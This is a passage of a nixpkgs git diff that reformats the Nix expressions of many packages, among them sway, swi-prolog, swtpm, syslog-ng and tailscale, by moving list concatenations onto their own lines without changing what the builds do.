-      # copying the default configuration:
-      ./sway-config-no-nix-store-references.patch
-    ]
-    ++ lib.optionals finalAttrs.isNixOS [
-      # Use /run/current-system/sw/share and /etc instead of /nix/store
-      # references:
-      ./sway-config-nixos-paths.patch
-    ];
+    (replaceVars ./fix-paths.patch {
+      inherit swaybg;
+    })
+  ]
+  ++ lib.optionals (!finalAttrs.isNixOS) [
+    # References to /nix/store/... will get GC'ed which causes problems when
+    # copying the default configuration:
+    ./sway-config-no-nix-store-references.patch
+  ]
+  ++ lib.optionals finalAttrs.isNixOS [
+    # Use /run/current-system/sw/share and /etc instead of /nix/store
+    # references:
+    ./sway-config-nixos-paths.patch
+  ];
 
   strictDeps = true;
   depsBuildBuild = [
@@ -82,26 +81,25 @@ stdenv.mkDerivation (finalAttrs: {
     scdoc
   ];
 
-  buildInputs =
-    [
-      libGL
-      wayland
-      libxkbcommon
-      pcre2
-      json_c
-      libevdev
-      pango
-      cairo
-      libinput
-      gdk-pixbuf
-      librsvg
-      wayland-protocols
-      libdrm
-      (wlroots.override { inherit (finalAttrs) enableXWayland; })
-    ]
-    ++ lib.optionals finalAttrs.enableXWayland [
-      xorg.xcbutilwm
-    ];
+  buildInputs = [
+    libGL
+    wayland
+    libxkbcommon
+    pcre2
+    json_c
+    libevdev
+    pango
+    cairo
+    libinput
+    gdk-pixbuf
+    librsvg
+    wayland-protocols
+    libdrm
+    (wlroots.override { inherit (finalAttrs) enableXWayland; })
+  ]
+  ++ lib.optionals finalAttrs.enableXWayland [
+    xorg.xcbutilwm
+  ];
 
   mesonFlags =
     let
diff --git a/pkgs/by-name/sw/swayfx-unwrapped/package.nix b/pkgs/by-name/sw/swayfx-unwrapped/package.nix
index fecda4c05bb8..959a254b4f6e 100644
--- a/pkgs/by-name/sw/swayfx-unwrapped/package.nix
+++ b/pkgs/by-name/sw/swayfx-unwrapped/package.nix
@@ -53,24 +53,23 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-gdab7zkjp/S7YVCP1t/OfOdUXZRwNvNSuRFGWEJScF8=";
   };
 
-  patches =
-    [
-      ./load-configuration-from-etc.patch
+  patches = [
+    ./load-configuration-from-etc.patch
 
-      (replaceVars ./fix-paths.patch {
-        inherit swaybg;
-      })
-    ]
-    ++ lib.optionals (!finalAttrs.isNixOS) [
-      # References to /nix/store/... will get GC'ed which causes problems when
-      # copying the default configuration:
-      ./sway-config-no-nix-store-references.patch
-    ]
-    ++ lib.optionals finalAttrs.isNixOS [
-      # Use /run/current-system/sw/share and /etc instead of /nix/store
-      # references:
-      ./sway-config-nixos-paths.patch
-    ];
+    (replaceVars ./fix-paths.patch {
+      inherit swaybg;
+    })
+  ]
+  ++ lib.optionals (!finalAttrs.isNixOS) [
+    # References to /nix/store/... will get GC'ed which causes problems when
+    # copying the default configuration:
+    ./sway-config-no-nix-store-references.patch
+  ]
+  ++ lib.optionals finalAttrs.isNixOS [
+    # Use /run/current-system/sw/share and /etc instead of /nix/store
+    # references:
+    ./sway-config-nixos-paths.patch
+  ];
 
   strictDeps = true;
   depsBuildBuild = [ pkg-config ];
@@ -99,7 +98,8 @@ stdenv.mkDerivation (finalAttrs: {
     wayland
     wayland-protocols
     (wlroots_0_18.override { inherit (finalAttrs) enableXWayland; })
-  ] ++ lib.optionals finalAttrs.enableXWayland [ xcbutilwm ];
+  ]
+  ++ lib.optionals finalAttrs.enableXWayland [ xcbutilwm ];
 
   mesonFlags =
     let
diff --git a/pkgs/by-name/sw/swayidle/package.nix b/pkgs/by-name/sw/swayidle/package.nix
index 9023cb5af80e..0c6a502e9b2a 100644
--- a/pkgs/by-name/sw/swayidle/package.nix
+++ b/pkgs/by-name/sw/swayidle/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     wayland
     wayland-protocols
-  ] ++ lib.optionals systemdSupport [ systemd ];
+  ]
+  ++ lib.optionals systemdSupport [ systemd ];
 
   mesonFlags = [
     "-Dman-pages=enabled"
diff --git a/pkgs/by-name/sw/swi-prolog/package.nix b/pkgs/by-name/sw/swi-prolog/package.nix
index 36ef2245c5ba..70dbac88c78e 100644
--- a/pkgs/by-name/sw/swi-prolog/package.nix
+++ b/pkgs/by-name/sw/swi-prolog/package.nix
@@ -148,17 +148,19 @@ stdenv.mkDerivation {
     gmp
     readline
     libedit
-  ] ++ optionalDependencies;
+  ]
+  ++ optionalDependencies;
 
   hardeningDisable = [ "format" ];
 
-  cmakeFlags =
-    [ "-DSWIPL_INSTALL_IN_LIB=ON" ]
-    ++ lib.optionals (!withNativeCompiler) [
-      # without these options, the build will embed full compiler paths
-      "-DSWIPL_CC=${if stdenv.hostPlatform.isDarwin then "clang" else "gcc"}"
-      "-DSWIPL_CXX=${if stdenv.hostPlatform.isDarwin then "clang++" else "g++"}"
-    ];
+  cmakeFlags = [
+    "-DSWIPL_INSTALL_IN_LIB=ON"
+  ]
+  ++ lib.optionals (!withNativeCompiler) [
+    # without these options, the build will embed full compiler paths
+    "-DSWIPL_CC=${if stdenv.hostPlatform.isDarwin then "clang" else "gcc"}"
+    "-DSWIPL_CXX=${if stdenv.hostPlatform.isDarwin then "clang++" else "g++"}"
+  ];
 
   preInstall = ''
     mkdir -p $out/lib/swipl/extra-pack
diff --git a/pkgs/by-name/sw/sword/package.nix b/pkgs/by-name/sw/sword/package.nix
index 7ee1646ad227..3e9f942466d0 100644
--- a/pkgs/by-name/sw/sword/package.nix
+++ b/pkgs/by-name/sw/sword/package.nix
@@ -27,27 +27,25 @@ stdenv.mkDerivation (
       hash = "sha256-QkCc894vrxEIUj4sWsB0XSH57SpceO2HjuncwwNCa4o=";
     };
 
-    nativeBuildInputs =
-      [
-        pkg-config
-      ]
-      ++ (lib.optionals stdenv.hostPlatform.isWindows [
-        autoreconfHook # The Windows patch modifies autotools files
-      ]);
+    nativeBuildInputs = [
+      pkg-config
+    ]
+    ++ (lib.optionals stdenv.hostPlatform.isWindows [
+      autoreconfHook # The Windows patch modifies autotools files
+    ]);
 
-    buildInputs =
-      [
-        icu
-      ]
-      ++ (lib.optionals stdenv.hostPlatform.isUnix [
-        clucene_core
-        curl
-      ])
-      ++ (lib.optionals stdenv.hostPlatform.isWindows [
-        bzip2
-        curlDep
-        xz
-      ]);
+    buildInputs = [
+      icu
+    ]
+    ++ (lib.optionals stdenv.hostPlatform.isUnix [
+      clucene_core
+      curl
+    ])
+    ++ (lib.optionals stdenv.hostPlatform.isWindows [
+      bzip2
+      curlDep
+      xz
+    ]);
 
     outputs = [
       "out"
@@ -64,16 +62,15 @@ stdenv.mkDerivation (
 
     patches = lib.optional stdenv.hostPlatform.isWindows ./sword-1.9.0-diatheke-includes.patch;
 
-    configureFlags =
-      [
-        "--without-conf"
-        "--enable-tests=no"
-      ]
-      ++ (lib.optionals stdenv.hostPlatform.isWindows [
-        "--with-xz"
-        "--with-bzip2"
-        "--with-icuregex"
-      ]);
+    configureFlags = [
+      "--without-conf"
+      "--enable-tests=no"
+    ]
+    ++ (lib.optionals stdenv.hostPlatform.isWindows [
+      "--with-xz"
+      "--with-bzip2"
+      "--with-icuregex"
+    ]);
 
     makeFlags = lib.optionals stdenv.hostPlatform.isWindows [
       "LDFLAGS=-no-undefined"
diff --git a/pkgs/by-name/sw/swtpm/package.nix b/pkgs/by-name/sw/swtpm/package.nix
index e339361f440c..20c8b9ac7464 100644
--- a/pkgs/by-name/sw/swtpm/package.nix
+++ b/pkgs/by-name/sw/swtpm/package.nix
@@ -48,27 +48,25 @@ stdenv.mkDerivation (finalAttrs: {
     which
   ];
 
-  buildInputs =
-    [
-      libtpms
-      openssl
-      libtasn1
-      glib
-      json-glib
-      gnutls
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      fuse
-      libseccomp
-    ];
+  buildInputs = [
+    libtpms
+    openssl
+    libtasn1
+    glib
+    json-glib
+    gnutls
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    fuse
+    libseccomp
+  ];
 
-  configureFlags =
-    [
-      "--localstatedir=/var"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--with-cuse"
-    ];
+  configureFlags = [
+    "--localstatedir=/var"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--with-cuse"
+  ];
 
   postPatch = ''
     patchShebangs tests/*
diff --git a/pkgs/by-name/sy/sylpheed/package.nix b/pkgs/by-name/sy/sylpheed/package.nix
index 9ead50540ca4..846ad5369a71 100644
--- a/pkgs/by-name/sy/sylpheed/package.nix
+++ b/pkgs/by-name/sy/sylpheed/package.nix
@@ -45,8 +45,11 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ gtk2 ] ++ lib.optionals gpgSupport [ gpgme ] ++ lib.optionals sslSupport [ openssl ];
+  buildInputs = [
+    gtk2
+  ]
+  ++ lib.optionals gpgSupport [ gpgme ]
+  ++ lib.optionals sslSupport [ openssl ];
 
   configureFlags = lib.optional gpgSupport "--enable-gpgme" ++ lib.optional sslSupport "--enable-ssl";
 
diff --git a/pkgs/by-name/sy/symengine/package.nix b/pkgs/by-name/sy/symengine/package.nix
index 4764d76e69ae..9aaf8cde4269 100644
--- a/pkgs/by-name/sy/symengine/package.nix
+++ b/pkgs/by-name/sy/symengine/package.nix
@@ -30,21 +30,20 @@ stdenv.mkDerivation rec {
     libmpc
   ];
 
-  cmakeFlags =
-    [
-      "-DWITH_FLINT=ON"
-      "-DINTEGER_CLASS=flint"
-      "-DWITH_SYMENGINE_THREAD_SAFE=yes"
-      "-DWITH_MPC=yes"
-      "-DBUILD_FOR_DISTRIBUTION=yes"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # error: unrecognized instruction mnemonic, did you mean: bit, cnt, hint, ins, not?
-      "-DBUILD_TESTS=OFF"
-    ]
-    ++ lib.optionals withShared [
-      "-DBUILD_SHARED_LIBS=ON"
-    ];
+  cmakeFlags = [
+    "-DWITH_FLINT=ON"
+    "-DINTEGER_CLASS=flint"
+    "-DWITH_SYMENGINE_THREAD_SAFE=yes"
+    "-DWITH_MPC=yes"
+    "-DBUILD_FOR_DISTRIBUTION=yes"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # error: unrecognized instruction mnemonic, did you mean: bit, cnt, hint, ins, not?
+    "-DBUILD_TESTS=OFF"
+  ]
+  ++ lib.optionals withShared [
+    "-DBUILD_SHARED_LIBS=ON"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/sy/sympow/package.nix b/pkgs/by-name/sy/sympow/package.nix
index fdad80dfed73..f12c557566f8 100644
--- a/pkgs/by-name/sy/sympow/package.nix
+++ b/pkgs/by-name/sy/sympow/package.nix
@@ -59,17 +59,16 @@ stdenv.mkDerivation rec {
 
   # Example from the README as a sanity check.
   doInstallCheck = true;
-  installCheckPhase =
-    ''
-      export HOME=$TMPDIR
-      "$out/bin/sympow" -curve "[1,2,3,4,5]" -moddeg | grep 'Modular Degree is 464'
-      echo "[1,-1,0,-79,289]" | "$out/bin/sympow" -analrank | grep ^"Analytic Rank is 4"
-      "$out/bin/sympow" -curve "[1,-1,0,-79,289]" -analrank | grep ^"Analytic Rank is 4"
-      "$out/bin/sympow" -curve "[0,1,1,-2,0]" -analrank | grep ^"Analytic Rank is 2"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isAarch64) ''
-      "$out/bin/sympow" -sp 2p16 -curve "[1,2,3,4,5]" | grep '8.3705'
-    '';
+  installCheckPhase = ''
+    export HOME=$TMPDIR
+    "$out/bin/sympow" -curve "[1,2,3,4,5]" -moddeg | grep 'Modular Degree is 464'
+    echo "[1,-1,0,-79,289]" | "$out/bin/sympow" -analrank | grep ^"Analytic Rank is 4"
+    "$out/bin/sympow" -curve "[1,-1,0,-79,289]" -analrank | grep ^"Analytic Rank is 4"
+    "$out/bin/sympow" -curve "[0,1,1,-2,0]" -analrank | grep ^"Analytic Rank is 2"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isAarch64) ''
+    "$out/bin/sympow" -sp 2p16 -curve "[1,2,3,4,5]" | grep '8.3705'
+  '';
 
   meta = {
     description = "Compute special values of symmetric power elliptic curve L-functions";
diff --git a/pkgs/by-name/sy/syncterm/package.nix b/pkgs/by-name/sy/syncterm/package.nix
index 42673516194a..5699d00bd206 100644
--- a/pkgs/by-name/sy/syncterm/package.nix
+++ b/pkgs/by-name/sy/syncterm/package.nix
@@ -24,17 +24,16 @@ stdenv.mkDerivation rec {
   # We can't use sourceRoot, as the cherry-picked patches apply to files outside of it.
   postPatch = ''cd src/syncterm'';
 
-  CFLAGS =
-    [
-      "-DHAS_INTTYPES_H"
-      "-DXPDEV_DONT_DEFINE_INTTYPES"
+  CFLAGS = [
+    "-DHAS_INTTYPES_H"
+    "-DXPDEV_DONT_DEFINE_INTTYPES"
 
-      "-Wno-unused-result"
-      "-Wformat-overflow=0"
-    ]
-    ++ (lib.optionals stdenv.hostPlatform.isLinux [
-      "-DUSE_ALSA_SOUND" # Don't use OSS for beeps.
-    ]);
+    "-Wno-unused-result"
+    "-Wformat-overflow=0"
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isLinux [
+    "-DUSE_ALSA_SOUND" # Don't use OSS for beeps.
+  ]);
 
   makeFlags = [
     "PREFIX=$(out)"
@@ -53,7 +52,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     SDL2
-  ] ++ (lib.optional stdenv.hostPlatform.isLinux alsa-lib);
+  ]
+  ++ (lib.optional stdenv.hostPlatform.isLinux alsa-lib);
   runtimeDependencies = [
     ncurses
     SDL2
diff --git a/pkgs/by-name/sy/syndication-domination/package.nix b/pkgs/by-name/sy/syndication-domination/package.nix
index 6bb68402dc95..623fece22618 100644
--- a/pkgs/by-name/sy/syndication-domination/package.nix
+++ b/pkgs/by-name/sy/syndication-domination/package.nix
@@ -30,16 +30,15 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      pugixml
-      fmt
-      html-tidy
-    ]
-    ++ lib.optionals enablePython [
-      python3Packages.python
-      python3Packages.pybind11
-    ];
+  buildInputs = [
+    pugixml
+    fmt
+    html-tidy
+  ]
+  ++ lib.optionals enablePython [
+    python3Packages.python
+    python3Packages.pybind11
+  ];
 
   mesonFlags = [
     (lib.mesonBool "TO_JSON_BINARY" true)
diff --git a/pkgs/by-name/sy/synfigstudio/package.nix b/pkgs/by-name/sy/synfigstudio/package.nix
index c8dfde12d0c5..4e6c7c937885 100644
--- a/pkgs/by-name/sy/synfigstudio/package.nix
+++ b/pkgs/by-name/sy/synfigstudio/package.nix
@@ -57,16 +57,15 @@ let
 
     sourceRoot = "${src.name}/synfig-core";
 
-    configureFlags =
-      [
-        "--with-boost=${boost.dev}"
-        "--with-boost-libdir=${boost.out}/lib"
-      ]
-      ++ lib.optionals stdenv.cc.isClang [
-        # Newer versions of clang default to C++17, but synfig and some of its dependencies use deprecated APIs that
-        # are removed in C++17. Setting the language version to C++14 allows it to build.
-        "CXXFLAGS=-std=c++14"
-      ];
+    configureFlags = [
+      "--with-boost=${boost.dev}"
+      "--with-boost-libdir=${boost.out}/lib"
+    ]
+    ++ lib.optionals stdenv.cc.isClang [
+      # Newer versions of clang default to C++17, but synfig and some of its dependencies use deprecated APIs that
+      # are removed in C++17. Setting the language version to C++14 allows it to build.
+      "CXXFLAGS=-std=c++14"
+    ];
 
     enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/sy/sysbench/package.nix b/pkgs/by-name/sy/sysbench/package.nix
index 873932a81805..22a0ee9817fb 100644
--- a/pkgs/by-name/sy/sysbench/package.nix
+++ b/pkgs/by-name/sy/sysbench/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     libmysqlclient
     luajit
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ libaio ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libaio ];
   depsBuildBuild = [ pkg-config ];
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/sy/syslinux/package.nix b/pkgs/by-name/sy/syslinux/package.nix
index 62a013f41394..a77d8f66a2c0 100644
--- a/pkgs/by-name/sy/syslinux/package.nix
+++ b/pkgs/by-name/sy/syslinux/package.nix
@@ -100,29 +100,28 @@ stdenv.mkDerivation {
   #     `e820_types'; memory.o:/build/syslinux-b404870/com32/gpllib/../gplinclude/memory.h:40: first defined here
   env.NIX_CFLAGS_COMPILE = "-fcommon";
 
-  makeFlags =
-    [
-      "BINDIR=$(out)/bin"
-      "SBINDIR=$(out)/sbin"
-      "DATADIR=$(out)/share"
-      "MANDIR=$(out)/share/man"
-      "PERL=perl"
-      "HEXDATE=0x00000000"
-      # Works around confusing (unrelated) error messages when upx is not made available
-      "UPX=false"
+  makeFlags = [
+    "BINDIR=$(out)/bin"
+    "SBINDIR=$(out)/sbin"
+    "DATADIR=$(out)/share"
+    "MANDIR=$(out)/share/man"
+    "PERL=perl"
+    "HEXDATE=0x00000000"
+    # Works around confusing (unrelated) error messages when upx is not made available
+    "UPX=false"
 
-      # Configurations needed to make use of external gnu-efi
-      "LIBEFI=${gnu-efi}/lib/libefi.a"
-      "LIBDIR=${gnu-efi}/lib/"
-      "EFIINC=${gnu-efi}/include/efi"
+    # Configurations needed to make use of external gnu-efi
+    "LIBEFI=${gnu-efi}/lib/libefi.a"
+    "LIBDIR=${gnu-efi}/lib/"
+    "EFIINC=${gnu-efi}/include/efi"
 
-      # Legacy bios boot target is always built
-      "bios"
-    ]
-    # Build "ia32" EFI for i686
-    ++ lib.optional stdenv.hostPlatform.isi686 "efi32"
-    # Build "x86_64" EFI for x86_64
-    ++ lib.optional stdenv.hostPlatform.isx86_64 "efi64";
+    # Legacy bios boot target is always built
+    "bios"
+  ]
+  # Build "ia32" EFI for i686
+  ++ lib.optional stdenv.hostPlatform.isi686 "efi32"
+  # Build "x86_64" EFI for x86_64
+  ++ lib.optional stdenv.hostPlatform.isx86_64 "efi64";
 
   # Some tests require qemu, some others fail in a sandboxed environment
   doCheck = false;
diff --git a/pkgs/by-name/sy/syslogng/package.nix b/pkgs/by-name/sy/syslogng/package.nix
index 205bc2c8dd57..95684712276a 100644
--- a/pkgs/by-name/sy/syslogng/package.nix
+++ b/pkgs/by-name/sy/syslogng/package.nix
@@ -88,33 +88,32 @@ stdenv.mkDerivation (finalAttrs: {
     python3Packages.setuptools
   ];
 
-  buildInputs =
-    [
-      libcap
-      curl
-      openssl
-      eventlog
-      glib
-      py
-      systemd
-      riemann_c_client
-      protobufc
-      libnet
-      json_c
-      libuuid
-      libivykis
-      mongoc
-      rabbitmq-c
-      libesmtp
-      pcre2
-      paho-mqtt-c
-      hiredis
-      rdkafka
-    ]
-    ++ (lib.optionals withGrpc [
-      protobuf_29
-      grpc
-    ]);
+  buildInputs = [
+    libcap
+    curl
+    openssl
+    eventlog
+    glib
+    py
+    systemd
+    riemann_c_client
+    protobufc
+    libnet
+    json_c
+    libuuid
+    libivykis
+    mongoc
+    rabbitmq-c
+    libesmtp
+    pcre2
+    paho-mqtt-c
+    hiredis
+    rdkafka
+  ]
+  ++ (lib.optionals withGrpc [
+    protobuf_29
+    grpc
+  ]);
 
   configureFlags = [
     "--enable-manpages"
@@ -131,7 +130,8 @@ stdenv.mkDerivation (finalAttrs: {
     "--with-systemd-journal=system"
     "--with-systemdsystemunitdir=$(out)/etc/systemd/system"
     "--without-compile-date"
-  ] ++ (lib.optionals withGrpc [ "--enable-grpc" ]);
+  ]
+  ++ (lib.optionals withGrpc [ "--enable-grpc" ]);
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/sy/systemd-netlogd/package.nix b/pkgs/by-name/sy/systemd-netlogd/package.nix
index 6c5a67893114..8c2ae7f72433 100644
--- a/pkgs/by-name/sy/systemd-netlogd/package.nix
+++ b/pkgs/by-name/sy/systemd-netlogd/package.nix
@@ -59,7 +59,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libcap
     systemdLibs
-  ] ++ lib.optional opensslSupport openssl;
+  ]
+  ++ lib.optional opensslSupport openssl;
 
   mesonFlags = [
     "--sysconfdir=${placeholder "out"}/etc/systemd"
@@ -70,13 +71,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   passthru = {
     # Make sure x86_64-linux -> aarch64-linux cross compilation works
-    tests =
-      {
-        version = testers.testVersion { package = finalAttrs.finalPackage; };
-      }
-      // lib.optionalAttrs (stdenv.buildPlatform.system == "x86_64-linux") {
-        aarch64-cross = pkgsCross.aarch64-multiplatform.systemd-netlogd;
-      };
+    tests = {
+      version = testers.testVersion { package = finalAttrs.finalPackage; };
+    }
+    // lib.optionalAttrs (stdenv.buildPlatform.system == "x86_64-linux") {
+      aarch64-cross = pkgsCross.aarch64-multiplatform.systemd-netlogd;
+    };
 
     updateScript = nix-update-script { };
   };
diff --git a/pkgs/by-name/sy/sysvinit/package.nix b/pkgs/by-name/sy/sysvinit/package.nix
index 546187c7a314..6eff2d095a32 100644
--- a/pkgs/by-name/sy/sysvinit/package.nix
+++ b/pkgs/by-name/sy/sysvinit/package.nix
@@ -32,19 +32,18 @@ stdenv.mkDerivation rec {
     substituteInPlace src/Makefile --replace /usr /
   '';
 
-  postInstall =
-    ''
-      mv $out/sbin/killall5 $out/bin
-      ln -sf killall5 $out/bin/pidof
-    ''
-    + lib.optionalString withoutInitTools ''
-      shopt -s extglob
-      rm -rf $out/sbin/!(sulogin)
-      rm -rf $out/include
-      rm -rf $out/share/man/man5
-      rm $(for i in $out/share/man/man8/*; do echo $i; done | grep -v 'pidof\|killall5')
-      rm $out/bin/wall $out/share/man/man1/wall.1
-    '';
+  postInstall = ''
+    mv $out/sbin/killall5 $out/bin
+    ln -sf killall5 $out/bin/pidof
+  ''
+  + lib.optionalString withoutInitTools ''
+    shopt -s extglob
+    rm -rf $out/sbin/!(sulogin)
+    rm -rf $out/include
+    rm -rf $out/share/man/man5
+    rm $(for i in $out/share/man/man8/*; do echo $i; done | grep -v 'pidof\|killall5')
+    rm $out/bin/wall $out/share/man/man1/wall.1
+  '';
 
   meta = {
     homepage = "https://www.nongnu.org/sysvinit/";
diff --git a/pkgs/by-name/t-/t-rec/package.nix b/pkgs/by-name/t-/t-rec/package.nix
index b9b13483c7f5..2991767287b5 100644
--- a/pkgs/by-name/t-/t-rec/package.nix
+++ b/pkgs/by-name/t-/t-rec/package.nix
@@ -24,11 +24,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
   cargoHash = "sha256-AgSYM2a9XGH2X4dcp5CSMnt0Bq/5XT8C3g1R2UX4mLY=";
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
-    [ imagemagick ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    imagemagick
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   postInstall = ''
     wrapProgram "$out/bin/t-rec" --prefix PATH : "${
diff --git a/pkgs/by-name/ta/tabby/package.nix b/pkgs/by-name/ta/tabby/package.nix
index 09202a2d8974..a2ecc15482fa 100644
--- a/pkgs/by-name/ta/tabby/package.nix
+++ b/pkgs/by-name/ta/tabby/package.nix
@@ -103,11 +103,12 @@ let
   };
 
   # TODO(ghthor): some of this can be removed
-  darwinBuildInputs =
-    [ llamaccpPackage ]
-    ++ optionals stdenv.hostPlatform.isDarwin ([
-      apple-sdk_15
-    ]);
+  darwinBuildInputs = [
+    llamaccpPackage
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin ([
+    apple-sdk_15
+  ]);
 
   cudaBuildInputs = [ llamaccpPackage ];
   rocmBuildInputs = [ llamaccpPackage ];
@@ -144,22 +145,22 @@ rustPlatform.buildRustPackage {
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
-  nativeBuildInputs =
-    [
-      git
-      pkg-config
-      protobuf
-      cmake
-    ]
-    ++ optionals enableCuda [
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    git
+    pkg-config
+    protobuf
+    cmake
+  ]
+  ++ optionals enableCuda [
+    autoAddDriverRunpath
+  ];
 
-  buildInputs =
-    [ openssl ]
-    ++ optionals stdenv.hostPlatform.isDarwin darwinBuildInputs
-    ++ optionals enableCuda cudaBuildInputs
-    ++ optionals enableRocm rocmBuildInputs;
+  buildInputs = [
+    openssl
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin darwinBuildInputs
+  ++ optionals enableCuda cudaBuildInputs
+  ++ optionals enableRocm rocmBuildInputs;
 
   postInstall = ''
     # NOTE: Project contains a subproject for building llama-server
diff --git a/pkgs/by-name/ta/tacacsplus/package.nix b/pkgs/by-name/ta/tacacsplus/package.nix
index 9ab2eeeca8b6..64fdee724675 100644
--- a/pkgs/by-name/ta/tacacsplus/package.nix
+++ b/pkgs/by-name/ta/tacacsplus/package.nix
@@ -24,14 +24,13 @@ stdenv.mkDerivation rec {
     flex
     bison
   ];
-  buildInputs =
-    [
-      perl
-      libnsl
-    ]
-    ++ lib.optionals withLibWrap [
-      tcp_wrappers
-    ];
+  buildInputs = [
+    perl
+    libnsl
+  ]
+  ++ lib.optionals withLibWrap [
+    tcp_wrappers
+  ];
 
   configureFlags = lib.optionals (!withLibWrap) [
     "--with-libwrap=no"
diff --git a/pkgs/by-name/ta/tachyon/package.nix b/pkgs/by-name/ta/tachyon/package.nix
index 0cf61be8d384..d07433e3014e 100644
--- a/pkgs/by-name/ta/tachyon/package.nix
+++ b/pkgs/by-name/ta/tachyon/package.nix
@@ -22,18 +22,17 @@ stdenv.mkDerivation rec {
     ++ lib.optionals withPngSupport [
       libpng
     ];
-  preBuild =
-    ''
-      cd unix
-    ''
-    + lib.optionalString withJpegSupport ''
-      export USEJPEG=" -DUSEJPEG"
-      export JPEGLIB=" -ljpeg"
-    ''
-    + lib.optionalString withPngSupport ''
-      export USEPNG=" -DUSEPNG"
-      export PNGLIB=" -lpng -lz"
-    '';
+  preBuild = ''
+    cd unix
+  ''
+  + lib.optionalString withJpegSupport ''
+    export USEJPEG=" -DUSEJPEG"
+    export JPEGLIB=" -ljpeg"
+  ''
+  + lib.optionalString withPngSupport ''
+    export USEPNG=" -DUSEPNG"
+    export PNGLIB=" -lpng -lz"
+  '';
   arch =
     if stdenv.hostPlatform.system == "x86_64-linux" then
       "linux-64-thr"
diff --git a/pkgs/by-name/ta/taco/package.nix b/pkgs/by-name/ta/taco/package.nix
index e80d2b7e3b1b..5cf747348056 100644
--- a/pkgs/by-name/ta/taco/package.nix
+++ b/pkgs/by-name/ta/taco/package.nix
@@ -50,7 +50,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeFlags = [
     "-DOPENMP=ON"
-  ] ++ lib.optional enablePython "-DPYTHON=ON";
+  ]
+  ++ lib.optional enablePython "-DPYTHON=ON";
 
   postInstall = lib.strings.optionalString enablePython ''
     mkdir -p $out/${python.sitePackages}
diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index ef4d8bdfe8c4..803e5ed9c139 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -102,97 +102,95 @@ buildGoModule {
 
   checkFlags =
     let
-      skippedTests =
-        [
-          # dislikes vendoring
-          "TestPackageDocs" # .
-          # tries to start tailscaled
-          "TestContainerBoot" # cmd/containerboot
+      skippedTests = [
+        # dislikes vendoring
+        "TestPackageDocs" # .
+        # tries to start tailscaled
+        "TestContainerBoot" # cmd/containerboot
 
-          # just part of a tool which generates yaml for k8s CRDs
-          # requires helm
-          "Test_generate" # cmd/k8s-operator/generate
-          # self reported potentially flakey test
-          "TestConnMemoryOverhead" # control/controlbase
+        # just part of a tool which generates yaml for k8s CRDs
+        # requires helm
+        "Test_generate" # cmd/k8s-operator/generate
+        # self reported potentially flakey test
+        "TestConnMemoryOverhead" # control/controlbase
 
-          # interacts with `/proc/net/route` and need a default route
-          "TestDefaultRouteInterface" # net/netmon
-          "TestRouteLinuxNetlink" # net/netmon
-          "TestGetRouteTable" # net/routetable
+        # interacts with `/proc/net/route` and need a default route
+        "TestDefaultRouteInterface" # net/netmon
+        "TestRouteLinuxNetlink" # net/netmon
+        "TestGetRouteTable" # net/routetable
 
-          # remote udp call to 8.8.8.8
-          "TestDefaultInterfacePortable" # net/netutil
+        # remote udp call to 8.8.8.8
+        "TestDefaultInterfacePortable" # net/netutil
 
-          # launches an ssh server which works when provided openssh
-          # also requires executing commands but nixbld user has /noshell
-          "TestSSH" # ssh/tailssh
-          # wants users alice & ubuntu
-          "TestMultipleRecorders" # ssh/tailssh
-          "TestSSHAuthFlow" # ssh/tailssh
-          "TestSSHRecordingCancelsSessionsOnUploadFailure" # ssh/tailssh
-          "TestSSHRecordingNonInteractive" # ssh/tailssh
+        # launches an ssh server which works when provided openssh
+        # also requires executing commands but nixbld user has /noshell
+        "TestSSH" # ssh/tailssh
+        # wants users alice & ubuntu
+        "TestMultipleRecorders" # ssh/tailssh
+        "TestSSHAuthFlow" # ssh/tailssh
+        "TestSSHRecordingCancelsSessionsOnUploadFailure" # ssh/tailssh
+        "TestSSHRecordingNonInteractive" # ssh/tailssh
 
-          # test for a dev util which helps to fork golang.org/x/crypto/acme
-          # not necessary and fails to match
-          "TestSyncedToUpstream" # tempfork/acme
+        # test for a dev util which helps to fork golang.org/x/crypto/acme
+        # not necessary and fails to match
+        "TestSyncedToUpstream" # tempfork/acme
 
-          # flaky: https://github.com/tailscale/tailscale/issues/7030
-          "TestConcurrent"
